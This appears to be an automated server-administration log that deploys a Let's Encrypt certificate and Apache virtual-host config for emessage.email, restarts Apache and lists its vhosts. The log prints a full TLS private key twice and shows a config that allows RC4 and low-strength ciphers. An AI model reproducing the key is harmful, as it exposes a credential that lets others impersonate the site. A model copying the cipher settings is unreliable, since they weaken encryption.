kQLAMg14B3RGa1i0N3PPvF9LyDInqNTBbMNjvMeP68s8r3F+erqnihmJO4InBwpw
kZy/RO1QgLZ3eStEvcAGPkLGVDCWVhE+174DFDO77SWh4gbijU0LXRTYWQ+GlNRV
cN6KCRlz4NuqK6FS5pFESkLIq4MfAXb/uRGlLWqDelmS2Ne9VuzSqJ7mu3U5kt5Y
8MiCPtsC7f94+096Vba/z8sxxRri28+MevPTofdJl7M6Amt5OAgtGPatPd4vk7ia
GunZiY00X/cwIHszew5wdpECAwEAAaOCAkowggJGMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQU/ajOBeubbZ2aS2y435jhAx2lVoowHwYDVR0jBBgwFoAUALUp8i2ObzHo
m0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEyLmkubGVuY3Iub3JnLzA/BgNVHREEODA2gg5lbWVzc2FnZS5lbWFpbIITbWFp
bC5lbWVzc2FnZS5lbWFpbIIPdmVudXMuaG9zdHoub3JnMBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC0GA1UdHwQmMCQwIqAgoB6GHGh0dHA6Ly9yMTIuYy5sZW5jci5vcmcv
Ny5jcmwwggELBgorBgEEAdZ5AgQCBIH8BIH5APcAdQBkEcRspBLsp4kcogIuALyr
TygH1B41J6vq/tUDyX3N8AAAAZvKilC2AAAEAwBGMEQCIHwPglSWVAUMKz+fc3Vy
XFOxR6q90F2qaQRzJzc7Yz0BAiAjcColeq0xdNtJk7vaKkqCrg8Haewd2i0JuyGk
5gLGDQB+ABqLnWlKV5jImaDKiL30j8C0VmDMw2ANH3H0af/H0ayjAAABm8qKU+wA
CAAABQA4TvB2BAMARzBFAiEAmGwhMtkd9kk2RJnNfSnmChhY/MINYUCOqxKjuLNC
tz8CIA0hXyngxg3EAFwylLoPF2npqCMkm73+sCFhIXBIKcubMA0GCSqGSIb3DQEB
CwUAA4IBAQBLs0dHhfF+0gdSSFlyST96VZ4Ovqb7symcj5DZ4BVwleQFNQle0zfg
fRSK0k0jt19jPhIJLKPxomi58e7qbxbe96OSge3axyji32fHFbAPwxLgeq2MJuPu
ra87BJBX/ax0OYZf4RdtDUbyZh1NQ986qifSSzNms0Uk4ytkY8NfTI8xZnEtmMHA
56DxIkRzB4wxZcMMZLcUanWKwdpLmmRolBDvqzoUvUCzt3ltiQr1PFt/if79cQPJ
9pMZDRgd3XaIQnfltWG+jlZxvsLk6dHQSXH//00rPUrX3qyz3PiOmVJEs2zzBLyP
tcmqXV6Rp7nFTmPUHMCpPQKibj0C9Knc
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDIb7RCU7DjxGAp
bMQJIdxiNaQuT7CDCeeMcbKwB+ZFwvT8CiBTRQ6U5m5hl5qTi5ECwDINeAd0RmtY
tDdzz7xfS8gyJ6jUwWzDY7zHj+vLPK9xfnq6p4oZiTuCJwcKcJGcv0TtUIC2d3kr
RL3ABj5CxlQwllYRPte+AxQzu+0loeIG4o1NC10U2FkPhpTUVXDeigkZc+Dbqiuh
UuaRREpCyKuDHwF2/7kRpS1qg3pZktjXvVbs0qie5rt1OZLeWPDIgj7bAu3/ePtP
elW2v8/LMcUa4tvPjHrz06H3SZezOgJreTgILRj2rT3eL5O4mhrp2YmNNF/3MCB7
M3sOcHaRAgMBAAECggEAQxGJvlX1z0kzKjlgYXPopB4x6WM1+6sRRV/4PEnwZjCF
vF6BEYv+hJmUnuhVS4C8jbCVLweWavRzUBPBqGl/LV4Ux5+YsVRl2f2iOh6w9mlA
hZgeZh3QqpnOhU8c3oPrXYls/YHeB/BzZaSTX9FW/Q4TNszfUNb35vdtx5/fCyOH
/1r/x9hFDrG9Xcap+hG5UOtQpmnNvPqMxdqpqzP4XvZvmKi/ARhQmVBBfnr7QIIH
rFuoh2CoRC8PqcELxExbR/yc2dRQ7K1V53px0pHoJ35hpZ0F8uYlu13089r68uBR
CQ3W+GpLfF1qVjG9FUhJIeVolZWkTG35gNHQzlr8VwKBgQDi26WYOz6CLlHZ0s7b
uh/ktPS/uP++qguDG2omICZRqCd7Ks9EzMlpejT100BWGJ9/AnugbaNwHYTfJUEf
IQhs1wHkrOGd33TkZZsy1DYbT3DUSs2mXmRJ3FL/gT9THA9B2JNebT+/bjjminst
6862gcFdBy9Zfuo3Df6/QY/xzwKBgQDiLyqXxkmvElzeHZbVyDjPyXQ1S5Ndb1dq
iVYQjgCQYx+EEXKayJtf1Anhmt0ppCskwnDG6mHuDsnnpleiS9yMFnA9D4Z/j7+a
t+1Z9iunE8ZkA/iFDV5TzbjXELfn6gG/yBFIMZX0h5j7lN3miEJiTCEiPq22cH7D
ja2/kCcJnwKBgA0vWOuFHffw+z7eurkYkzv2rHbsKKkLNwoSsNOwcKm0TT8iWNOV
12ry+FsFQSr/2V1HZqoHVUVx4cQaZTOK9vNkd66zwZUsZJ3VrfSBUve5YURlaJhv
ygJk9Mn22BhbfCOGk+IcFWVp4ZK8n7Ymi2geGH/wp/baooA6pwC0rcoPAoGAOJm0
/uYP6k+eDbc516WTEexHuE6BQhBqv64+a0YdvgQQDuyO0U0CFKjrEBnA3nrGkRxX
PG/KsdfhjqaBp4t0VVoIHD+WWLWQLRd5vdlscxLvwnd76U+/GxmP98GnQ9G7PlLC
gF5oOBj2n35RSS8v7Yk/gWJN9imQjz8VC6r3GeECgYA29HQXhgw9oa3mFkVfewZw
PT42kgcJqUkryD/olCCBxScGtXMoeiYL666BVZi2MG3/WcNdxiioSPAErFIuz2iO
ZHM2WgCIrI3hwLjcsvUfWeYNz5HdbaJZ8FbSPYHZ+aZcCy/vBx5KyctJu9bxZmCL
+37QRWUUbj1QmxESJgn87g==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-01-17 06:00:22: 

chmod 755 /tmp/pkp791872; /tmp/pkp791872; rm /tmp/pkp791872

2026-01-17 06:00:22: 


dir=/etc/ssl/certs


2026-01-17 06:00:22: 

PUT: /tmp/pkp632004

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hostz_venus_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-01-17 06:00:22: 

chmod 755 /tmp/pkp632004; /tmp/pkp632004; rm /tmp/pkp632004

2026-01-17 06:00:22: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_venus_org.conf 49

<VirtualHost *:80>
    ServerName	emessage.email
    ServerAlias	venus.hostz.org
    ServerAlias	mail.emessage.email
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_venus
    <Directory /var/www/hostz_venus>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/venus_access.log combined
    ErrorLog	/var/log/apache2/hostz/venus_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	emessage.email
    ServerAlias	venus.hostz.org
    ServerAlias	mail.emessage.email
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d2f885a15ab55cd2a5fd0d3cbe2ab259.crt
    DocumentRoot	/var/www/hostz_venus
    <Directory /var/www/hostz_venus>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_venus/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/venus_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/venus_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-01-17 06:00:22: 

PUT: /tmp/pkp853213

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hostz_venus_org.conf
TARGET=/etc/apache2/sites-enabled/hostz_venus_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	emessage.email
    ServerAlias	venus.hostz.org
    ServerAlias	mail.emessage.email
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_venus
    <Directory /var/www/hostz_venus>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/venus_access.log combined
    ErrorLog	/var/log/apache2/hostz/venus_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	emessage.email
    ServerAlias	venus.hostz.org
    ServerAlias	mail.emessage.email
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d2f885a15ab55cd2a5fd0d3cbe2ab259.crt
    DocumentRoot	/var/www/hostz_venus
    <Directory /var/www/hostz_venus>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_venus/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/venus_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/venus_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hostz_venus_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hostz_venus_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hostz_venus_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hostz_venus_org.conf= 1'
fi


2026-01-17 06:00:22: 

chmod 755 /tmp/pkp853213; /tmp/pkp853213; rm /tmp/pkp853213

2026-01-17 06:00:22: 




2026-01-17 06:00:22: 

PUT: /tmp/pkp577087

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-01-17 06:00:22: 

chmod 755 /tmp/pkp577087; /tmp/pkp577087; rm /tmp/pkp577087

2026-01-17 06:00:23: 


.


2026-01-17 06:00:23: Establishing a connection
2026-01-17 06:00:23: 

PUT: /tmp/pkp578677

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-01-17 06:00:23: 

chmod 755 /tmp/pkp578677; /tmp/pkp578677; rm /tmp/pkp578677

2026-01-17 06:00:23: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server blah (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost blah (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:2)
                 alias list.stoughton.link
         port 80 namevhost text.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf:2)
                 alias sms.hopeinstoughton.org
         port 80 namevhost emessage.email (/etc/apache2/sites-enabled/hostz_venus_org.conf:2)
                 alias venus.hostz.org
                 alias mail.emessage.email
*:443                  is a NameVirtualHost
         default server list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:23)
         port 443 namevhost list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:23)
         port 443 namevhost text.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf:23)
                 alias sms.hopeinstoughton.org
         port 443 namevhost emessage.email (/etc/apache2/sites-enabled/hostz_venus_org.conf:24)
                 alias venus.hostz.org
                 alias mail.emessage.email
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-01-17 06:00:23: 

PUT: /tmp/pkp659902

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hostz_venus_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-17 06:00:23: 

chmod 755 /tmp/pkp659902; /tmp/pkp659902; rm /tmp/pkp659902

2026-01-17 06:00:23: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_venus_org.conf	1644

<VirtualHost *:80>
    ServerName	emessage.email
    ServerAlias	venus.hostz.org
    ServerAlias	mail.emessage.email
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_venus
    <Directory /var/www/hostz_venus>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/venus_access.log combined
    ErrorLog	/var/log/apache2/hostz/venus_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	emessage.email
    ServerAlias	venus.hostz.org
    ServerAlias	mail.emessage.email
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d2f885a15ab55cd2a5fd0d3cbe2ab259.crt
    DocumentRoot	/var/www/hostz_venus
    <Directory /var/www/hostz_venus>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_venus/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/venus_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/venus_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-01-17 06:00:23: 

PUT: /tmp/pkp452227

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/d2f885a15ab55cd2a5fd0d3cbe2ab259.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-17 06:00:23: 

chmod 755 /tmp/pkp452227; /tmp/pkp452227; rm /tmp/pkp452227

2026-01-17 06:00:23: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/d2f885a15ab55cd2a5fd0d3cbe2ab259.crt	5402
a6:32:ba:1e:dd:6e:47:65:16:cf:e1:8a:df:af:ea:9b

-----BEGIN CERTIFICATE-----
MIIFJDCCBAygAwIBAgISBfQIwXBMpZipa4xPnGdu5U8GMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMTE3MDUwMTUwWhcNMjYwNDE3MDUwMTQ5WjAZMRcwFQYDVQQD
Ew5lbWVzc2FnZS5lbWFpbDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AMhvtEJTsOPEYClsxAkh3GI1pC5PsIMJ54xxsrAH5kXC9PwKIFNFDpTmbmGXmpOL
kQLAMg14B3RGa1i0N3PPvF9LyDInqNTBbMNjvMeP68s8r3F+erqnihmJO4InBwpw
kZy/RO1QgLZ3eStEvcAGPkLGVDCWVhE+174DFDO77SWh4gbijU0LXRTYWQ+GlNRV
cN6KCRlz4NuqK6FS5pFESkLIq4MfAXb/uRGlLWqDelmS2Ne9VuzSqJ7mu3U5kt5Y
8MiCPtsC7f94+096Vba/z8sxxRri28+MevPTofdJl7M6Amt5OAgtGPatPd4vk7ia
GunZiY00X/cwIHszew5wdpECAwEAAaOCAkowggJGMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQU/ajOBeubbZ2aS2y435jhAx2lVoowHwYDVR0jBBgwFoAUALUp8i2ObzHo
m0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEyLmkubGVuY3Iub3JnLzA/BgNVHREEODA2gg5lbWVzc2FnZS5lbWFpbIITbWFp
bC5lbWVzc2FnZS5lbWFpbIIPdmVudXMuaG9zdHoub3JnMBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC0GA1UdHwQmMCQwIqAgoB6GHGh0dHA6Ly9yMTIuYy5sZW5jci5vcmcv
Ny5jcmwwggELBgorBgEEAdZ5AgQCBIH8BIH5APcAdQBkEcRspBLsp4kcogIuALyr
TygH1B41J6vq/tUDyX3N8AAAAZvKilC2AAAEAwBGMEQCIHwPglSWVAUMKz+fc3Vy
XFOxR6q90F2qaQRzJzc7Yz0BAiAjcColeq0xdNtJk7vaKkqCrg8Haewd2i0JuyGk
5gLGDQB+ABqLnWlKV5jImaDKiL30j8C0VmDMw2ANH3H0af/H0ayjAAABm8qKU+wA
CAAABQA4TvB2BAMARzBFAiEAmGwhMtkd9kk2RJnNfSnmChhY/MINYUCOqxKjuLNC
tz8CIA0hXyngxg3EAFwylLoPF2npqCMkm73+sCFhIXBIKcubMA0GCSqGSIb3DQEB
CwUAA4IBAQBLs0dHhfF+0gdSSFlyST96VZ4Ovqb7symcj5DZ4BVwleQFNQle0zfg
fRSK0k0jt19jPhIJLKPxomi58e7qbxbe96OSge3axyji32fHFbAPwxLgeq2MJuPu
ra87BJBX/ax0OYZf4RdtDUbyZh1NQ986qifSSzNms0Uk4ytkY8NfTI8xZnEtmMHA
56DxIkRzB4wxZcMMZLcUanWKwdpLmmRolBDvqzoUvUCzt3ltiQr1PFt/if79cQPJ
9pMZDRgd3XaIQnfltWG+jlZxvsLk6dHQSXH//00rPUrX3qyz3PiOmVJEs2zzBLyP
tcmqXV6Rp7nFTmPUHMCpPQKibj0C9Knc
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDIb7RCU7DjxGAp
bMQJIdxiNaQuT7CDCeeMcbKwB+ZFwvT8CiBTRQ6U5m5hl5qTi5ECwDINeAd0RmtY
tDdzz7xfS8gyJ6jUwWzDY7zHj+vLPK9xfnq6p4oZiTuCJwcKcJGcv0TtUIC2d3kr
RL3ABj5CxlQwllYRPte+AxQzu+0loeIG4o1NC10U2FkPhpTUVXDeigkZc+Dbqiuh
UuaRREpCyKuDHwF2/7kRpS1qg3pZktjXvVbs0qie5rt1OZLeWPDIgj7bAu3/ePtP
elW2v8/LMcUa4tvPjHrz06H3SZezOgJreTgILRj2rT3eL5O4mhrp2YmNNF/3MCB7
M3sOcHaRAgMBAAECggEAQxGJvlX1z0kzKjlgYXPopB4x6WM1+6sRRV/4PEnwZjCF
vF6BEYv+hJmUnuhVS4C8jbCVLweWavRzUBPBqGl/LV4Ux5+YsVRl2f2iOh6w9mlA
hZgeZh3QqpnOhU8c3oPrXYls/YHeB/BzZaSTX9FW/Q4TNszfUNb35vdtx5/fCyOH
/1r/x9hFDrG9Xcap+hG5UOtQpmnNvPqMxdqpqzP4XvZvmKi/ARhQmVBBfnr7QIIH
rFuoh2CoRC8PqcELxExbR/yc2dRQ7K1V53px0pHoJ35hpZ0F8uYlu13089r68uBR
CQ3W+GpLfF1qVjG9FUhJIeVolZWkTG35gNHQzlr8VwKBgQDi26WYOz6CLlHZ0s7b
uh/ktPS/uP++qguDG2omICZRqCd7Ks9EzMlpejT100BWGJ9/AnugbaNwHYTfJUEf
IQhs1wHkrOGd33TkZZsy1DYbT3DUSs2mXmRJ3FL/gT9THA9B2JNebT+/bjjminst
6862gcFdBy9Zfuo3Df6/QY/xzwKBgQDiLyqXxkmvElzeHZbVyDjPyXQ1S5Ndb1dq
iVYQjgCQYx+EEXKayJtf1Anhmt0ppCskwnDG6mHuDsnnpleiS9yMFnA9D4Z/j7+a
t+1Z9iunE8ZkA/iFDV5TzbjXELfn6gG/yBFIMZX0h5j7lN3miEJiTCEiPq22cH7D
ja2/kCcJnwKBgA0vWOuFHffw+z7eurkYkzv2rHbsKKkLNwoSsNOwcKm0TT8iWNOV
12ry+FsFQSr/2V1HZqoHVUVx4cQaZTOK9vNkd66zwZUsZJ3VrfSBUve5YURlaJhv
ygJk9Mn22BhbfCOGk+IcFWVp4ZK8n7Ymi2geGH/wp/baooA6pwC0rcoPAoGAOJm0
/uYP6k+eDbc516WTEexHuE6BQhBqv64+a0YdvgQQDuyO0U0CFKjrEBnA3nrGkRxX
PG/KsdfhjqaBp4t0VVoIHD+WWLWQLRd5vdlscxLvwnd76U+/GxmP98GnQ9G7PlLC
gF5oOBj2n35RSS8v7Yk/gWJN9imQjz8VC6r3GeECgYA29HQXhgw9oa3mFkVfewZw
PT42kgcJqUkryD/olCCBxScGtXMoeiYL666BVZi2MG3/WcNdxiioSPAErFIuz2iO
ZHM2WgCIrI3hwLjcsvUfWeYNz5HdbaJZ8FbSPYHZ+aZcCy/vBx5KyctJu9bxZmCL
+37QRWUUbj1QmxESJgn87g==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
